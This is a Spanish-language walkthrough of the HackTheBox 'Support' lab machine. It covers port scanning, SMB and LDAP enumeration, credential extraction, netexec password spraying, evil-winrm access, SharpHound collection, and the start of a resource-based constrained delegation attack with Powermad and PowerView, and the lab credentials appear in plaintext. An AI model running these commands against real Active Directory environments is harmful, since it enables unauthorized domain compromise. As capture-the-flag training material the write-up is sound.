Support

Resource-based Constrained Delegation

Escaneo inicial:

# Escaneo completo de todos los puertos
sudo nmap -sS -- min-rate 5000 -- open -vvv -n -Pn -p- 10.10.11.174-oG allPorts

Resultado en formato grepeable:

Con otra herramienta extraemos los puertos solamente abiertos:

Con los puertos solamente abiertos le hacemos un escaneo mas intensivo:

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,49679,49702,49742
 10.10.11.174 -oN targeted

Resultado:

Miramos un poco mas de info de la maquina:

Nos enfrentamos ante un:

Windos 10

445/tcp open microsoft-ds?

Al mirar los archivos compartidos podemos ver:

Ahora descargamos el mas sospechoso que seria el .zip:

smbclient //10.10.11.174/support-tools -U guest

Miramos su contenido:

strings -e l UserInfo.exe

sirve para extraer y mostrar las cadenas de texto legibles (strings) contenidas en el archivo UserInfo.exe, usando codificaciรณn "little endian" (Unicode UTF-16LE), que es comรบn en archivos binarios de Windows como ejecutables (.exe).

Posible usuario lo tenemos que verificar:

  • Usando Kerbrute:

En un archivo users guardamos dos usuarios:

./Kerbrute userenum -d support.htb --dc 10.10.11.174 users
.

Tenemos un usuario valido:

Ademรกs enumeramos usuarios con Kerbrute:

 kerbrute userenum  -d support.htb --dc 10.10.11.174  /opt/SecLists/Usernames/xato-net-10-million-usernames-dup.txt

Las agregamos a un archivo:

Ahora llevemos el .exe a una maquina Windows para ver que contiene:

Abrimos un puerto con python:

Una vez descargado lo ejecutamos:

O tambien podemos ver el codigo en c# con la herramienta ILSpy.

๐Ÿ“Œ ยฟQuรฉ es ILSpy?

ILSpy es un descompilador de .NET para ver el cรณdigo fuente C# de ejecutables .NET como UserInfo.exe. Pero ILSpy es una herramienta grรกfica de Windows, no un binario que puedas correr en Linux asรญ directamente (al menos no asรญ sin entorno GUI o emulaciรณn).

  • Si ejecutas el script, obtendrรกs la contraseรฑa original que fue cifrada y luego ofuscada.

Bien teniendo la contraseรฑa verificaremos si es del usuario ldap:

netexec smb 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
Efectivamente es del usuario ldap
  • Ahora verificaremos si el usuario pertenece al grupo ManagedUsers.

netexec winrm 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
No pertenece al grupo por lo cual no nos podemos conectar a la maquina

Utilizando rpcclient para conectarte a un servidor SMB en la direcciรณn IP 10.10.11.174 con las credenciales del usuario ldap. El comando es:

rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
usuarios

Enumeramos el gupo del dominio:

Bien ! Ahora sacaremos un txt todos los posibles usuarios para contemplarlo mejor:

Lo tenemos aqui

Miraremos si otro usuario de estos tiene la misma contraseรฑa que ldap con netexec:

netexec smb 10.10.11.174 -u user -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success

Ldap

  • Usando ldap:

ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"

Esto nos entrega info de todos los usuarios:

Y por ello haremos un grep para ver que usuario tiene algo interesante y nos topamos con el support:

ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "samaccountname: support" -B 37
Una credencial tiene en la info de support

Con estas credenciales vamos a verificar si alguno de los usuarios de nuestro diccionario pertenece al grupo ManagedUsers:

netexec winrm 10.10.11.174 -u user -p 'Ironside47pleasure40Watchful' --continue-on-success

Bingo!!

support

Bueno ahora que sabemos ello entramos con evil-winrm:

evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'

ADMINISTRATOR


  • De momento no hay nada habilitado para abusar de algรบn privilegiรณ:

Para esto prenderemos la db de Neo4j y Bloodhound:

Descargar toda DataBase con SharpHound

El .exe lo descargamos en este repositorio, y lo pasamos a la maquina Windows.

Comando para decirle a la maquina victima que descargue todos los grupos etc, en un comprimido:

*Evil-WinRM* PS C:\Users\support\tmp> ./SharpHound.exe -c All
Pasamos el .zip a la maquina atacante

Subiendo al Bloodhound

  • Pero como sabemos pertenecemos al grupo:

Por lo cual lo miraremos en la interfaz:

Pasamos el primer binario:

Ejecutamos:

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Siguiente descarga:

Lo pasamos al Windows:

Lo ejecutamos:

Import-Module .\PowerView.ps1

Miramos si todo esta conforme:

Get-DomainComputer SERVICEA

Todo conforme :)

Seguimos guardamos en esta variable la cadena SID:

$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid

Using powerview

bash

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Last updated